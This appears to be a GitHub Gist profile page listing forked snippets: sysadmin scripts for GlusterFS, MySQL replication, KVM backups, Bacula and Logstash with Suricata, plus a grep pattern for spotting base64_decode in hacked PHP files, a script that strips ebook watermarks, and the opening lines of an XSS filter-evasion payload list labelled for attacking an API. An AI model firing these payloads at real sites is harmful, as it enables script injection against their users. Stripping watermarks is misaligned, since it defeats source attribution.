Skip to content

Instantly share code, notes, and snippets.

@shaheemirza
shaheemirza / base64_finder.sh
Last active August 29, 2015 14:27 — forked from danreb/base64_finder.sh
Find all PHP code with base64_decode - useful to find suspected hacker files
find /home/HOMEDIR/public_html \( -name "*.php" \) -type f -print0 | xargs -0 grep --binary-files=without-match -ir "base64_decode\s*("
@shaheemirza
shaheemirza / debian-gfs.sh
Created October 5, 2015 09:24 — forked from cloudrck/debian-gfs.sh
Debian 8 Jessie GlusterFS Install and Configuration
#!/bin/bash
set -e
# Debian 8 'Jessie' GlusterFS Install
#########
#ToDo:
# * Change guid/suid of mount
# * Give option for cluster type
# * Change variables via command line read
########

Building a grsec-patched Linux kernel for Debian 8 and DigitalOcean

It's possible to run a custom (instead of hypervisor-managed) kernel for use with Debian 8.x on a DigitalOcean droplet.

We'll build one with grsecurity, "an extensive security enhancement to the Linux kernel that defends against a wide range of security threats through intelligent access control, memory corruption-based exploit prevention, and a host of other system hardening".

Note: The stable patches for Linux 3.14.x and 3.2.x are not publicly available anymore, so we'll be applying the free 4.2.x (test) patch. The URLs and filenames in this document may become outdated, so fetch the latest from grsecurity.net and kernel.org.

Install dependencies:

@shaheemirza
shaheemirza / logstash_suricata_eve.conf
Created December 15, 2015 06:50 — forked from regit/logstash_suricata_eve.conf
A sample Logstash configuration for Suricata JSON output.
input {
file {
path => [ "/usr/local/var/log/suricata/eve.json" ]
codec => json
}
}
filter {
if [src_ip] {
geoip {
@shaheemirza
shaheemirza / README.md
Created December 19, 2015 12:39 — forked from mashdot/README.md
Bacula concurrent jobs multiple storage devices client labeled pools debian installation configuration.
Time-stamp: <2012-03-30 Fri 16:56 README.md>
Author....: 'Mash (Thomas Herbert)

TOSHINE-BACULA

Bacula concurrent jobs multiple storage devices client labeled pools Debian installation and configuration.
Please see http://toshine.org/etc for full article.

Bacula Debian Installation.

@shaheemirza
shaheemirza / no_watermark.py
Created April 28, 2016 11:16
Reqursivelly removing the watermarks of it-ebooks.info's downloaded eBooks
import re
import os
import shutil
import argparse
from os import path
from sys import stderr
#
# Author: Daxda
# Date: 02.04.2014
@shaheemirza
shaheemirza / 1MyClusInstall.md
Created May 16, 2016 10:54 — forked from htcang/1MyClusInstall.md
MySQL Cluster Installation

Machine 1: Management Node + SQL Node

IP: 192.168.0.151

  1. Install prequisition
yum install perl
@shaheemirza
shaheemirza / mysql_replication_autostart.sh
Created May 24, 2016 07:29 — forked from nicomak/mysql_replication_autostart.sh
This script automates the process of starting a Mysql Replication on 1 master node and N slave nodes.
#!/bin/bash
#title : mysql_replication_autostart.sh
#description : This script automates the process of starting a Mysql Replication on 1 master node and N slave nodes.
#author : nicomak
#date : 20160308
#version : 0.1
#usage : bash mysql_replication_autostart.sh
#bash_version : 4.3.11(1)-release
#=============================================================================
@shaheemirza
shaheemirza / README.md
Created June 9, 2016 09:45 — forked from ringe/README.md
KVM QCOW2 Live backup

Live backup of KVM virtual machines

This script will let you make backups of live VMs running on KVM, using libvirt.

The backup job will suspend the VM for the time it takes to copy the RAM to disk.

Credits: Luca Lazzeroni

I've made some minor adjustments.

@shaheemirza
shaheemirza / 666_lines_of_XSS_vectors.html
Created June 26, 2016 06:58 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>